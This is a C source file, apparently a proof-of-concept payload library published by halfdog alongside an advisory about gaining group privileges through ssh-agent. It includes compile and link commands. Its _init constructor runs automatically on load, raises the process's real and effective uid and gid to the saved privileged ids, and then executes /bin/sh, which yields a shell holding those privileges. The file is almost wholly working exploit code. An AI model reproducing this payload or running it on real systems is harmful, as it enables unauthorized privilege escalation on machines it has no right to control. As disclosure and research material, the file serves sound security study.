/** This software is provided by the copyright owner "as is"
 *  and without any expressed or implied warranties, including,
 *  but not limited to, the implied warranties of merchantability
 *  and fitness for a particular purpose are disclaimed. In no
 *  event shall the copyright owner be liable for any direct,
 *  indirect, incidential, special, exemplary or consequential
 *  damages, including, but not limited to, procurement of substitute
 *  goods or services, loss of use, data or profits or business
 *  interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including
 *  negligence or otherwise, arising in any way out of the use
 *  of this software, even if advised of the possibility of such 
 *  damage.
 *
 *  Copyright (c) 2017-2018 halfdog <me (%) halfdog.net>
 *
 *  Compiling:
 *  gcc -Wall -fPIC -c engine.c
 *  ld -shared -Bdynamic engine.o -L/lib -lc -o engine.so
 *
 *  See https://www.halfdog.net/Security/2017/SshAgentGainGroupPrivileges/
 *  for more information.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

/** Library initialization function, called by the linker. If not
 *  named _init, parameter has to be set during linking using -init=name
 */
extern void _init() {
  fprintf(stderr, "TestLib.c: Within _init\n");
  uid_t ruid, euid, suid;
  gid_t rgid, egid, sgid;
  getresuid(&ruid, &euid, &suid);
  getresgid(&rgid, &egid, &sgid);
  fprintf(stderr, "Process uid/gid at load: %d/%d/%d %d/%d/%d\n",
      ruid, euid, suid, rgid, egid, sgid);
  setresgid(sgid, sgid, sgid);
  setresuid(suid, suid, suid);
  getresuid(&ruid, &euid, &suid);
  getresgid(&rgid, &egid, &sgid);
  fprintf(stderr, "Process uid/gid after change: %d/%d/%d %d/%d/%d\n",
      ruid, euid, suid, rgid, egid, sgid);
  execve("/bin/sh", (char*[]){"/bin/sh", NULL}, environ);
}
